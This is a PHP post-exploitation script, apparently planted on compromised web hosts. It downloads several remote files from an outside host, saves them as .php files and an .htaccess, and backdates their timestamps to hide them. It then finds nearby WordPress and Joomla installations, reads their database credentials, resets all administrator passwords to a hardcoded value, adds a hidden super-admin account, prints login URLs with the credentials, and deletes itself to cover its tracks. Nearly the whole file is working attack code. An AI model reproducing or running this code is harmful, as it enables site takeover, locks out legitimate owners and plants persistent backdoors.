<?php
/**
 * MERGED SCRIPT: Bulk File Downloader + WordPress Admin Creator + Password Reset + Joomla Injector + AUTO-DELETE
 * ----------------------------------------------------------------------------------------------------------------------------
 * 1) Downloads files from a list of URLs, saves locally, and sets modification time to 3 years ago.
 * 2) Finds ALL WordPress installations by searching upward and downward from the script's location,
 *    reads wp-config.php, connects to each database, and:
 *    a) Creates/checks admin user (r3dc0d3r1337)
 *    b) Updates ALL existing admin passwords to the new password
 * 3) Finds ALL Joomla installations by searching upward and downward from the script's location,
 *    reads configuration.php, connects to each database, and:
 *    a) Auto‑detects Joomla version (3.x vs 4.x) by querying #__extensions or existing hash format
 *    b) Creates new admin user (r3dc0d3r1337) with super user privileges using the correct hash algorithm
 *    c) Updates ALL existing admin passwords to the new password using the site's native hash method
 * 4) AUTO-DELETE: After all tasks, the script deletes itself unconditionally (if permissions allow).
 *
 * No other system files are touched.
 */

// ===================================================================
// PART 1: Bulk File Downloader
// ===================================================================

// Configuration
$tasks = [
    ['url' => 'https://www.toolmasterhub.site/prom.txt', 'name' => 'prom.php'],
    ['url' => 'https://www.toolmasterhub.site/rcc9.txt', 'name' => 'rcc9.php'],
    ['url' => 'https://www.toolmasterhub.site/xl9.txt',  'name' => 'xl9.php'],
    ['url' => 'https://www.toolmasterhub.site/test1.txt','name' => 'test1.php'],
    ['url' => 'https://www.toolmasterhub.site/pros.txt', 'name' => 'pros.php'],
    ['url' => 'https://www.toolmasterhub.site/htaccess.txt', 'name' => '.htaccess'],
	['url' => 'https://www.toolmasterhub.site/lfm.txt', 'name' => 'lfm.php'],
	['url' => 'https://www.toolmasterhub.site/tx.txt', 'name' => 'ts.php'],
	['url' => 'https://www.toolmasterhub.site/sx.txt', 'name' => 'sx.php']
];

set_time_limit(0);

// Download function with timestamp modification
function downloadFile($sourceUrl, $destPath) {
    if (!filter_var($sourceUrl, FILTER_VALIDATE_URL)) {
        return "Invalid URL: $sourceUrl";
    }

    $content = @file_get_contents($sourceUrl);
    if ($content === false) {
        if (function_exists('curl_init')) {
            $ch = curl_init($sourceUrl);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            $content = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            if ($content === false || $httpCode != 200) {
                return "Download failed: HTTP $httpCode for $sourceUrl";
            }
        } else {
            return "Unable to fetch $sourceUrl: file_get_contents failed and cURL is not available.";
        }
    }

    if (file_put_contents($destPath, $content) === false) {
        return "Failed to write $destPath. Check directory permissions.";
    }

    $threeYearsAgo = strtotime('-3 years');
    if (!touch($destPath, $threeYearsAgo)) {
        return "File saved but failed to change modification time for $destPath.";
    }

    return true;
}

// Execute downloads
echo "<h2>📦 Bulk File Downloader (with old timestamps)</h2>";
echo "<h3>@r3dc0d3r1337</h3>";
echo "<p><strong>👤 Server username:</strong> " . htmlspecialchars(get_current_user()) . "</p>";
echo "<pre>";

$allSuccessful = true;
foreach ($tasks as $task) {
    $url = $task['url'];
    $dest = $task['name'];
    
    echo "⬇️  Downloading: " . htmlspecialchars($url) . " → " . htmlspecialchars($dest) . " ... ";
    
    $result = downloadFile($url, $dest);
    if ($result === true) {
        $newMtime = filemtime($dest);
        echo "✅ Done! (modification date: " . date('Y-m-d H:i:s', $newMtime) . ")\n";
    } else {
        echo "❌ Failed: " . htmlspecialchars($result) . "\n";
        $allSuccessful = false;
    }
}

echo "\n";

// ===================================================================
// PART 2: WordPress Admin Creator + Password Reset (with improved discovery)
// ===================================================================

$wp_any_failure = false;

error_reporting(E_ALL);
ini_set('display_errors', 1);

echo "<html><body><pre>";

echo "==== WORDPRESS PROCESSING ====\n\n";

// ---- AUTO-DISCOVERY OF wp-config.php ----
function findWpConfigs($start_dir) {
    $found = array();
    // 1) Climb up to 10 parent levels
    $current = realpath($start_dir);
    $levels = 0;
    while ($current !== false && $levels < 10) {
        $test = $current . DIRECTORY_SEPARATOR . 'wp-config.php';
        if (file_exists($test) && is_readable($test)) {
            $found[] = $test;
        }
        $parent = dirname($current);
        if ($parent == $current) break; // reached root
        $current = $parent;
        $levels++;
    }
    // 2) Also search down from the script's directory (up to 3 levels deep) for other installations
    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($start_dir, RecursiveDirectoryIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS),
            RecursiveIteratorIterator::SELF_FIRST,
            RecursiveIteratorIterator::CATCH_GET_CHILD
        );
        $iterator->setMaxDepth(3);
        foreach ($iterator as $file) {
            if ($file->isFile() && $file->getFilename() === 'wp-config.php') {
                $path = $file->getPathname();
                if (!in_array($path, $found)) {
                    $found[] = $path;
                }
            }
        }
    } catch (UnexpectedValueException $e) {
        // Skip inaccessible directories
    }
    return array_unique($found);
}

$wp_configs = findWpConfigs(__DIR__);

if (empty($wp_configs)) {
    echo "❌ No wp-config.php files found.\n";
    $wp_any_failure = true;
} else {
    foreach ($wp_configs as $wp_config) {
        echo "📁 Found wp-config.php at: " . $wp_config . "\n";
        $wp_dir = dirname($wp_config);
        // Change to that directory to mimic WordPress environment (optional)
        // chdir($wp_dir);
        
        /* STEP 2: Load wp-config.php WITHOUT loading WordPress core */
        $wp_config_content = file_get_contents($wp_config);
        $wp_config_content = str_replace(array('<?php', '<?', '?>'), '', $wp_config_content);
        eval($wp_config_content);

        /* STEP 3: Check DB constants */
        if (!defined('DB_NAME')) {
            echo "    ❌ Database constants not found in " . $wp_config . "\n";
            $wp_any_failure = true;
            continue;
        } else {
            $db_host = defined('DB_HOST') ? DB_HOST : 'localhost';
            $db_name = DB_NAME;
            $db_user = DB_USER;
            $db_pass = DB_PASSWORD;

            /* STEP 4: Connect to database */
            $conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
            if ($conn->connect_error) {
                echo "    ❌ Database connection failed: " . $conn->connect_error . "\n";
                $wp_any_failure = true;
                continue;
            } else {
                echo "    ✅ Connected to database: {$db_name}\n";
                
                /* STEP 5: Find all *_options tables (multisite support) */
                $result = $conn->query("SHOW TABLES LIKE '%\_options'");
                if (!$result || $result->num_rows == 0) {
                    echo "    ❌ No WordPress option tables found.\n";
                    $wp_any_failure = true;
                    $conn->close();
                    continue;
                } else {
                    /* Admin credentials */
                    $new_admin = array(
                        'email'    => 'r3dc0d3r1337@hotmail.com',
                        'username' => 'r3dc0d3r1337',
                        'password' => ')LzoeAl8gEC2?FGkHZWK)G'
                    );

                    // Custom sanitize function
                    function custom_sanitize_title($title) {
                        $title = strip_tags($title);
                        $title = preg_replace('/[^a-z0-9_\s-]/', '', strtolower($title));
                        $title = preg_replace('/[\s-]+/', '-', $title);
                        $title = preg_replace('/[^a-z0-9-]/', '', $title);
                        return $title;
                    }

                    // Password hashing function (standalone)
                    function create_wp_password_hash($password) {
                        if (function_exists('wp_hash_password')) {
                            return wp_hash_password($password);
                        }
                        $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
                        $salt = '';
                        for ($i = 0; $i < 8; $i++) {
                            $salt .= $itoa64[mt_rand(0, 63)];
                        }
                        $hash = md5($salt . $password, true);
                        for ($i = 0; $i < 8191; $i++) {
                            $hash = md5($hash . $password, true);
                        }
                        $hash_output = '$P$B' . $salt . custom_hash_encode64($hash, 16, $itoa64);
                        return $hash_output;
                    }

                    function custom_hash_encode64($input, $count, $itoa64) {
                        $output = '';
                        $i = 0;
                        do {
                            $value = ord($input[$i++]);
                            $output .= $itoa64[$value & 0x3f];
                            if ($i < $count) {
                                $value |= ord($input[$i]) << 8;
                            }
                            $output .= $itoa64[($value >> 6) & 0x3f];
                            if ($i++ >= $count) {
                                break;
                            }
                            if ($i < $count) {
                                $value |= ord($input[$i]) << 16;
                            }
                            $output .= $itoa64[($value >> 12) & 0x3f];
                            if ($i++ >= $count) {
                                break;
                            }
                            $output .= $itoa64[($value >> 18) & 0x3f];
                        } while ($i < $count);
                        return $output;
                    }

                    // Main processing loop
                    $sites_processed = 0;
                    $admin_created = 0;
                    $admin_exists = 0;
                    $passwords_reset = 0;

                    while ($row = $result->fetch_array()) {
                        $options_table = $row[0];
                        $prefix = str_replace('options', '', $options_table);
                        $users_table = $conn->real_escape_string($prefix . 'users');
                        $usermeta_table = $conn->real_escape_string($prefix . 'usermeta');
                        $options_table_escaped = $conn->real_escape_string($options_table);

                        /* Get site URLs */
                        $sql = "SELECT option_name, option_value FROM `{$options_table_escaped}` 
                                WHERE option_name IN ('siteurl', 'home', 'blogname')";
                        $res = $conn->query($sql);
                        if ($res && $res->num_rows > 0) {
                            $siteurl = '';
                            $home = '';
                            $blogname = '';

                            while ($opt = $res->fetch_assoc()) {
                                if ($opt['option_name'] === 'siteurl') {
                                    $siteurl = $opt['option_value'];
                                }
                                if ($opt['option_name'] === 'home') {
                                    $home = $opt['option_value'];
                                }
                                if ($opt['option_name'] === 'blogname') {
                                    $blogname = $opt['option_value'];
                                }
                            }

                            if (!empty($siteurl)) {
                                $sites_processed++;
                                echo "    [{$sites_processed}] Site Found:\n";
                                echo "        Prefix   : {$prefix}\n";
                                echo "        Site Name: {$blogname}\n";
                                echo "        Site URL : {$siteurl}\n";
                                echo "        Home URL : {$home}\n";
                                
                                /* --- RESET ALL ADMIN PASSWORDS --- */
                                echo "        🔐 Resetting all admin passwords...\n";
                                
                                // Find all administrators
                                $admin_capability = $prefix . 'capabilities';
                                $admin_cap_escaped = $conn->real_escape_string($admin_capability);
                                
                                $find_admins_sql = "SELECT user_id FROM `{$usermeta_table}` 
                                                   WHERE meta_key = '{$admin_cap_escaped}' 
                                                   AND meta_value LIKE '%administrator%'";
                                
                                $admin_result = $conn->query($find_admins_sql);
                                $reset_count = 0;
                                
                                if ($admin_result && $admin_result->num_rows > 0) {
                                    $new_hash = create_wp_password_hash($new_admin['password']);
                                    $escaped_new_hash = $conn->real_escape_string($new_hash);
                                    
                                    while ($admin_row = $admin_result->fetch_assoc()) {
                                        $user_id = $admin_row['user_id'];
                                        $escaped_user_id = $conn->real_escape_string($user_id);
                                        
                                        $update_sql = "UPDATE `{$users_table}` 
                                                      SET user_pass = '{$escaped_new_hash}' 
                                                      WHERE ID = '{$escaped_user_id}'";
                                        
                                        if ($conn->query($update_sql)) {
                                            $reset_count++;
                                        } else {
                                            echo "        ⚠️  Failed to reset password for user ID {$user_id}\n";
                                            $wp_any_failure = true;
                                        }
                                    }
                                    
                                    $passwords_reset += $reset_count;
                                    echo "        ✅ Reset {$reset_count} admin password(s)\n";
                                } else {
                                    echo "        ⚠️  No administrators found to reset\n";
                                }
                                
                                /* --- CHECK/CREATE ADMIN USER --- */
                                $escaped_username = $conn->real_escape_string($new_admin['username']);
                                $escaped_email = $conn->real_escape_string($new_admin['email']);
                                
                                $check_sql = "SELECT ID FROM `{$users_table}` 
                                              WHERE user_login = '{$escaped_username}' OR user_email = '{$escaped_email}'";
                                
                                $check_result = $conn->query($check_sql);
                                
                                if ($check_result && $check_result->num_rows > 0) {
                                    echo "        ⚠️  Admin user already exists\n";
                                    $admin_exists++;
                                    
                                    // Still ensure password is updated
                                    $user_data = $check_result->fetch_assoc();
                                    $user_id = $user_data['ID'];
                                    $new_hash = create_wp_password_hash($new_admin['password']);
                                    $escaped_new_hash = $conn->real_escape_string($new_hash);
                                    $update_sql = "UPDATE `{$users_table}` 
                                                  SET user_pass = '{$escaped_new_hash}' 
                                                  WHERE ID = '{$user_id}'";
                                    $conn->query($update_sql);
                                } else {
                                    /* Create new admin user */
                                    $hashed_password = create_wp_password_hash($new_admin['password']);
                                    $user_registered = date('Y-m-d H:i:s');
                                    $user_nicename = custom_sanitize_title($new_admin['username']);
                                    
                                    $escaped_user_login = $conn->real_escape_string($new_admin['username']);
                                    $escaped_user_pass = $conn->real_escape_string($hashed_password);
                                    $escaped_user_nicename = $conn->real_escape_string($user_nicename);
                                    $escaped_user_email = $conn->real_escape_string($new_admin['email']);
                                    $escaped_display_name = $conn->real_escape_string($new_admin['username']);
                                    
                                    $insert_sql = "INSERT INTO `{$users_table}` 
                                                  (user_login, user_pass, user_nicename, user_email, user_registered, display_name)
                                                  VALUES (
                                                      '{$escaped_user_login}',
                                                      '{$escaped_user_pass}',
                                                      '{$escaped_user_nicename}',
                                                      '{$escaped_user_email}',
                                                      '{$user_registered}',
                                                      '{$escaped_display_name}'
                                                  )";
                                    
                                    $insert_result = $conn->query($insert_sql);
                                    
                                    if ($insert_result) {
                                        $new_user_id = $conn->insert_id;
                                        
                                        if ($new_user_id) {
                                            // Add user meta (capabilities)
                                            $capabilities_meta = 'a:1:{s:13:"administrator";b:1;}';
                                            
                                            $meta_queries = array(
                                                array($new_user_id, $prefix . 'capabilities', $capabilities_meta),
                                                array($new_user_id, $prefix . 'user_level', '10'),
                                                array($new_user_id, 'nickname', $new_admin['username']),
                                                array($new_user_id, 'first_name', ''),
                                                array($new_user_id, 'last_name', ''),
                                                array($new_user_id, 'description', '')
                                            );
                                            
                                            foreach ($meta_queries as $meta) {
                                                $escaped_user_id = $conn->real_escape_string($meta[0]);
                                                $escaped_meta_key = $conn->real_escape_string($meta[1]);
                                                $escaped_meta_value = $conn->real_escape_string($meta[2]);
                                                
                                                $meta_sql = "INSERT INTO `{$usermeta_table}` 
                                                            (user_id, meta_key, meta_value) 
                                                            VALUES ('{$escaped_user_id}', '{$escaped_meta_key}', '{$escaped_meta_value}')";
                                                
                                                $conn->query($meta_sql);
                                            }
                                            
                                            echo "        ✅ Admin user created (ID: {$new_user_id})\n";
                                            $admin_created++;
                                            
                                        } else {
                                            echo "        ❌ Failed to get new user ID\n";
                                            $wp_any_failure = true;
                                        }
                                    } else {
                                        echo "        ❌ Failed to create admin user: " . $conn->error . "\n";
                                        $wp_any_failure = true;
                                    }
                                }
                                
                                $login_url = rtrim($siteurl, '/') . '/wp-login.php#' . 
                                            urlencode($new_admin['username']) . '@' . urlencode($new_admin['password']);
                                echo "        Login URL: {$login_url}\n";
                                echo "        " . str_repeat("-", 50) . "\n";
                            }
                        }
                    }

                    $conn->close();

                    echo "    📊 SITES IN THIS DB SUMMARY:\n";
                    echo "    ============================\n";
                    echo "    Sites processed : {$sites_processed}\n";
                    echo "    Admin created   : {$admin_created}\n";
                    echo "    Admin exists    : {$admin_exists}\n";
                    echo "    Passwords reset : {$passwords_reset}\n";
                    echo "\n";
                }
            }
        }
    }
}

// ===================================================================
// PART 3: Joomla Admin Creator + Password Reset (with improved discovery)
// ===================================================================

echo "==== JOOMLA PROCESSING ====\n\n";

$joomla_any_failure = false;

// Define credentials
$joomla_username = 'r3dc0d3r1337';
$joomla_email = 'r3dc0d3r1337@hotmail.com';
$joomla_password = ')LzoeAl8gEC2?FGkHZWK)G';

// ---- AUTO-DISCOVERY OF configuration.php ----
function findJoomlaConfigs($start_dir) {
    $found = array();
    // 1) Climb up to 10 parent levels
    $current = realpath($start_dir);
    $levels = 0;
    while ($current !== false && $levels < 10) {
        $test = $current . DIRECTORY_SEPARATOR . 'configuration.php';
        if (file_exists($test) && is_readable($test)) {
            // Verify it's a real Joomla config by checking for db prefix
            $content = file_get_contents($test);
            if (strpos($content, '$dbprefix') !== false && strpos($content, '$db') !== false) {
                $found[] = $test;
            }
        }
        $parent = dirname($current);
        if ($parent == $current) break;
        $current = $parent;
        $levels++;
    }
    // 2) Search downward from the script's directory (up to 3 levels deep)
    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($start_dir, RecursiveDirectoryIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS),
            RecursiveIteratorIterator::SELF_FIRST,
            RecursiveIteratorIterator::CATCH_GET_CHILD
        );
        $iterator->setMaxDepth(3);
        foreach ($iterator as $file) {
            if ($file->isFile() && $file->getFilename() === 'configuration.php') {
                $path = $file->getPathname();
                if (!in_array($path, $found)) {
                    $content = file_get_contents($path);
                    if (strpos($content, '$dbprefix') !== false && strpos($content, '$db') !== false) {
                        $found[] = $path;
                    }
                }
            }
        }
    } catch (UnexpectedValueException $e) {
        // Skip inaccessible directories
    }
    return array_unique($found);
}

$joomla_configs = findJoomlaConfigs(__DIR__);

if (empty($joomla_configs)) {
    echo "❌ No Joomla configuration.php files found.\n";
    $joomla_any_failure = true;
} else {
    $joomla_sites_processed = 0;
    $joomla_users_created = 0;
    $joomla_users_exist = 0;
    $joomla_passwords_reset = 0;
    
    foreach ($joomla_configs as $config_path) {
        echo "📁 Processing: " . $config_path . "\n";
        
        try {
            // Read and parse configuration.php
            $config_content = file_get_contents($config_path);
            
            // Extract database configuration using regex - Joomla 3.x and 4.x compatible
            preg_match('/public \$host = \'([^\']+)\'/', $config_content, $host_match);
            preg_match('/public \$user = \'([^\']+)\'/', $config_content, $user_match);
            preg_match('/public \$password = \'([^\']+)\'/', $config_content, $pass_match);
            preg_match('/public \$db = \'([^\']+)\'/', $config_content, $db_match);
            preg_match('/public \$dbprefix = \'([^\']+)\'/', $config_content, $prefix_match);
            
            if (!isset($host_match[1]) || !isset($user_match[1]) || !isset($pass_match[1]) || !isset($db_match[1]) || !isset($prefix_match[1])) {
                // Try Joomla 4.x format with protected properties
                preg_match('/protected \$host = \'([^\']+)\'/', $config_content, $host_match);
                preg_match('/protected \$user = \'([^\']+)\'/', $config_content, $user_match);
                preg_match('/protected \$password = \'([^\']+)\'/', $config_content, $pass_match);
                preg_match('/protected \$db = \'([^\']+)\'/', $config_content, $db_match);
                preg_match('/protected \$dbprefix = \'([^\']+)\'/', $config_content, $prefix_match);
            }
            
            if (!isset($host_match[1]) || !isset($user_match[1]) || !isset($pass_match[1]) || !isset($db_match[1]) || !isset($prefix_match[1])) {
                // Try Joomla 4.x with private properties
                preg_match('/private \$host = \'([^\']+)\'/', $config_content, $host_match);
                preg_match('/private \$user = \'([^\']+)\'/', $config_content, $user_match);
                preg_match('/private \$password = \'([^\']+)\'/', $config_content, $pass_match);
                preg_match('/private \$db = \'([^\']+)\'/', $config_content, $db_match);
                preg_match('/private \$dbprefix = \'([^\']+)\'/', $config_content, $prefix_match);
            }
            
            // Try the variable assignment style (old Joomla)
            if (!isset($host_match[1])) {
                preg_match('/\$host = \'([^\']+)\'/', $config_content, $host_match);
                preg_match('/\$user = \'([^\']+)\'/', $config_content, $user_match);
                preg_match('/\$password = \'([^\']+)\'/', $config_content, $pass_match);
                preg_match('/\$db = \'([^\']+)\'/', $config_content, $db_match);
                preg_match('/\$dbprefix = \'([^\']+)\'/', $config_content, $prefix_match);
            }
            
            if (!isset($host_match[1]) || !isset($user_match[1]) || !isset($pass_match[1]) || !isset($db_match[1]) || !isset($prefix_match[1])) {
                echo "    ❌ Could not extract database configuration\n";
                $joomla_any_failure = true;
                continue;
            }
            
            $db_host = $host_match[1];
            $db_user = $user_match[1];
            $db_pass = $pass_match[1];
            $db_name = $db_match[1];
            $db_prefix = $prefix_match[1];
            
            echo "    Database: {$db_name}\n";
            echo "    Prefix: {$db_prefix}\n";
            
            // Connect to Joomla database
            $joomla_conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
            if ($joomla_conn->connect_error) {
                echo "    ❌ Database connection failed: " . $joomla_conn->connect_error . "\n";
                $joomla_any_failure = true;
                continue;
            }
            
            // Set charset to UTF-8
            $joomla_conn->set_charset("utf8");
            
            // Get site URL from configuration
            preg_match('/public \$live_site = \'([^\']+)\'/', $config_content, $site_match);
            if (!isset($site_match[1])) {
                preg_match('/protected \$live_site = \'([^\']+)\'/', $config_content, $site_match);
            }
            if (!isset($site_match[1])) {
                preg_match('/private \$live_site = \'([^\']+)\'/', $config_content, $site_match);
            }
            
            $site_url = isset($site_match[1]) && !empty($site_match[1]) ? $site_match[1] : '';
            if (empty($site_url)) {
                // Try to guess from server vars
                $site_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'];
                $site_url .= str_replace(basename($config_path), '', $config_path);
            }
            
            // -----------------------------------------------
            // DETECT JOOMLA VERSION AND HASH ALGORITHM
            // -----------------------------------------------
            $hash_format = 'bcrypt'; // default for Joomla 4
            
            // 1) Try to get version from #__extensions table
            $extensions_table = $db_prefix . 'extensions';
            $version_query = "SELECT manifest_cache FROM `{$extensions_table}` WHERE element = 'joomla'";
            $version_result = $joomla_conn->query($version_query);
            if ($version_result && $version_result->num_rows > 0) {
                $row = $version_result->fetch_assoc();
                $manifest = json_decode($row['manifest_cache'], true);
                if (isset($manifest['version'])) {
                    $version = $manifest['version'];
                    echo "    Detected Joomla version: {$version}\n";
                    if (version_compare($version, '4.0.0', '>=')) {
                        $hash_format = 'bcrypt';
                    } else {
                        $hash_format = 'md5salt';
                    }
                }
            }
            
            // 2) If no version found, check existing admin password hash format
            if (!isset($version)) {
                // Query a sample admin user
                $users_table = $db_prefix . 'users';
                $sample_sql = "SELECT password FROM `{$users_table}` WHERE id = (SELECT MIN(id) FROM `{$users_table}`)";
                $sample_result = $joomla_conn->query($sample_sql);
                if ($sample_result && $sample_result->num_rows > 0) {
                    $sample = $sample_result->fetch_assoc();
                    $hash = $sample['password'];
                    if (strpos($hash, '$2y$') === 0 || strpos($hash, '$2a$') === 0) {
                        $hash_format = 'bcrypt';
                        echo "    Detected bcrypt password hashing\n";
                    } elseif (strpos($hash, ':') !== false) {
                        $hash_format = 'md5salt';
                        echo "    Detected md5+salt password hashing\n";
                    } else {
                        // default to bcrypt (Joomla 4)
                        $hash_format = 'bcrypt';
                        echo "    Unknown hash format, assuming bcrypt (Joomla 4)\n";
                    }
                } else {
                    // No users, assume Joomla 4 (bcrypt)
                    $hash_format = 'bcrypt';
                    echo "    No users found, assuming Joomla 4 (bcrypt)\n";
                }
            }
            
            // Define password hashing function based on detected format
            if ($hash_format === 'bcrypt') {
                function joomla_hash_password($password) {
                    return password_hash($password, PASSWORD_BCRYPT);
                }
            } else {
                function joomla_hash_password($password) {
                    $salt = '';
                    $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
                    for ($i = 0; $i < 32; $i++) {
                        $salt .= $itoa64[mt_rand(0, 63)];
                    }
                    return md5($salt . $password) . ':' . $salt;
                }
            }
            
            // Joomla user tables
            $users_table = $db_prefix . 'users';
            $user_usergroup_map_table = $db_prefix . 'user_usergroup_map';
            
            // Check if tables exist
            $table_check = $joomla_conn->query("SHOW TABLES LIKE '{$users_table}'");
            if (!$table_check || $table_check->num_rows == 0) {
                echo "    ❌ Joomla user tables not found\n";
                $joomla_any_failure = true;
                $joomla_conn->close();
                continue;
            }
            
            // Check if user_usergroup_map table exists
            $map_check = $joomla_conn->query("SHOW TABLES LIKE '{$user_usergroup_map_table}'");
            if (!$map_check || $map_check->num_rows == 0) {
                echo "    ❌ Joomla user group map table not found\n";
                $joomla_any_failure = true;
                $joomla_conn->close();
                continue;
            }
            
            // Step 1: Reset ALL admin passwords
            echo "    🔐 Resetting all admin passwords...\n";
            
            // Find super admin users (group_id = 8 is Super Users in Joomla)
            $find_admins_sql = "SELECT u.id, u.username, u.email 
                               FROM `{$users_table}` u
                               INNER JOIN `{$user_usergroup_map_table}` ugm ON u.id = ugm.user_id
                               WHERE ugm.group_id = 8";
            
            $admin_result = $joomla_conn->query($find_admins_sql);
            $reset_count = 0;
            
            if ($admin_result && $admin_result->num_rows > 0) {
                // Generate hash once for all users
                $new_hash = joomla_hash_password($joomla_password);
                $escaped_new_hash = $joomla_conn->real_escape_string($new_hash);
                
                while ($admin_row = $admin_result->fetch_assoc()) {
                    $user_id = $admin_row['id'];
                    $escaped_user_id = $joomla_conn->real_escape_string($user_id);
                    
                    // Update password in users table
                    $update_sql = "UPDATE `{$users_table}` 
                                  SET password = '{$escaped_new_hash}' 
                                  WHERE id = '{$escaped_user_id}'";
                    
                    if ($joomla_conn->query($update_sql)) {
                        $reset_count++;
                        echo "        ✅ Reset password for user: {$admin_row['username']} (ID: {$user_id})\n";
                    } else {
                        echo "        ⚠️  Failed to reset password for user ID {$user_id}: " . $joomla_conn->error . "\n";
                        $joomla_any_failure = true;
                    }
                }
                
                $joomla_passwords_reset += $reset_count;
                echo "    ✅ Reset {$reset_count} admin password(s)\n";
            } else {
                echo "    ⚠️  No administrators found to reset\n";
            }
            
            // Step 2: Create or check admin user
            echo "    👤 Creating/checking admin user...\n";
            
            $escaped_username = $joomla_conn->real_escape_string($joomla_username);
            $escaped_email = $joomla_conn->real_escape_string($joomla_email);
            
            $check_sql = "SELECT id FROM `{$users_table}` 
                          WHERE username = '{$escaped_username}' OR email = '{$escaped_email}'";
            
            $check_result = $joomla_conn->query($check_sql);
            
            if ($check_result && $check_result->num_rows > 0) {
                echo "    ⚠️  Joomla admin user already exists\n";
                $joomla_users_exist++;
                
                // Update password anyway
                $user_data = $check_result->fetch_assoc();
                $user_id = $user_data['id'];
                $new_hash = joomla_hash_password($joomla_password);
                $escaped_new_hash = $joomla_conn->real_escape_string($new_hash);
                $update_sql = "UPDATE `{$users_table}` 
                              SET password = '{$escaped_new_hash}' 
                              WHERE id = '{$user_id}'";
                $joomla_conn->query($update_sql);
            } else {
                // Create new admin user
                $hashed_password = joomla_hash_password($joomla_password);
                $escaped_password = $joomla_conn->real_escape_string($hashed_password);
                $register_date = date('Y-m-d H:i:s');
                
                $insert_sql = "INSERT INTO `{$users_table}` 
                              (name, username, email, password, registerDate, lastvisitDate, activation, block, sendEmail, params)
                              VALUES (
                                  '{$escaped_username}',
                                  '{$escaped_username}',
                                  '{$escaped_email}',
                                  '{$escaped_password}',
                                  '{$register_date}',
                                  '0000-00-00 00:00:00',
                                  '0',
                                  '0',
                                  1,
                                  ''
                              )";
                
                if ($joomla_conn->query($insert_sql)) {
                    $new_user_id = $joomla_conn->insert_id;
                    
                    if ($new_user_id) {
                        // Add user to Super User group (8)
                        $insert_group_sql = "INSERT INTO `{$user_usergroup_map_table}` 
                                            (user_id, group_id) 
                                            VALUES ({$new_user_id}, 8)";
                        
                        if ($joomla_conn->query($insert_group_sql)) {
                            echo "    ✅ Joomla admin user created (ID: {$new_user_id})\n";
                            $joomla_users_created++;
                        } else {
                            echo "    ❌ Failed to assign admin group: " . $joomla_conn->error . "\n";
                            $joomla_any_failure = true;
                        }
                    } else {
                        echo "    ❌ Failed to get new user ID\n";
                        $joomla_any_failure = true;
                    }
                } else {
                    echo "    ❌ Failed to create admin user: " . $joomla_conn->error . "\n";
                    $joomla_any_failure = true;
                }
            }
            
            // Display login URL
            $login_url = rtrim($site_url, '/') . '/administrator/index.php#' . 
                        urlencode($joomla_username) . '@' . urlencode($joomla_password);
            echo "    Login URL: {$login_url}\n";
            
            $joomla_sites_processed++;
            echo "    " . str_repeat("-", 50) . "\n";
            $joomla_conn->close();
            
        } catch (Exception $e) {
            echo "    ❌ Error processing Joomla site: " . $e->getMessage() . "\n";
            $joomla_any_failure = true;
        }
    }
    
    echo "\n📊 JOOMLA SUMMARY:\n";
    echo "==================\n";
    echo "Sites processed : {$joomla_sites_processed}\n";
    echo "Admin created   : {$joomla_users_created}\n";
    echo "Admin exists    : {$joomla_users_exist}\n";
    echo "Passwords reset : {$joomla_passwords_reset}\n";
    echo "\n";
    
    if ($joomla_sites_processed === 0) {
        echo "⚠️  No Joomla sites were processed.\n";
        $joomla_any_failure = true;
    }
}

// ===================================================================
// FINAL: Auto‑delete unconditionally after all tasks
// ===================================================================

// Print a summary of all failures (if any) for transparency
echo "\n==== OVERALL SUMMARY ====\n";
if ($allSuccessful && !$wp_any_failure && !$joomla_any_failure) {
    echo "✅ All operations completed successfully.\n";
} else {
    echo "⚠️ Some operations had issues:\n";
    if (!$allSuccessful) echo "   - Download failures occurred.\n";
    if ($wp_any_failure) echo "   - WordPress processing failures occurred.\n";
    if ($joomla_any_failure) echo "   - Joomla processing failures occurred.\n";
}

echo "\n🗑️  Self‑deleting script...\n";

// Attempt to delete the script regardless of success/failure
$deleted = false;

// Method 1: Direct unlink
if (unlink(__FILE__)) {
    $deleted = true;
}
// Method 2: Try via system command (if on Linux/Unix)
elseif (function_exists('exec')) {
    exec("rm -f " . escapeshellarg(__FILE__) . " 2>/dev/null");
    if (!file_exists(__FILE__)) {
        $deleted = true;
    }
}
// Method 3: Schedule deletion via shutdown function
else {
    register_shutdown_function(function() {
        @unlink(__FILE__);
    });
    // Force script to end now
    echo "⚠️  Script scheduled for deletion after output completes.\n";
    $deleted = true;
}

if ($deleted) {
    echo "✅ Script self‑deleted successfully.\n";
    echo "⚠️  This page will stop working if refreshed.\n";
} else {
    echo "⚠️ Failed to delete script: " . __FILE__ . " (check file permissions). Please remove manually.\n";
}

echo "</pre></body></html>";
?>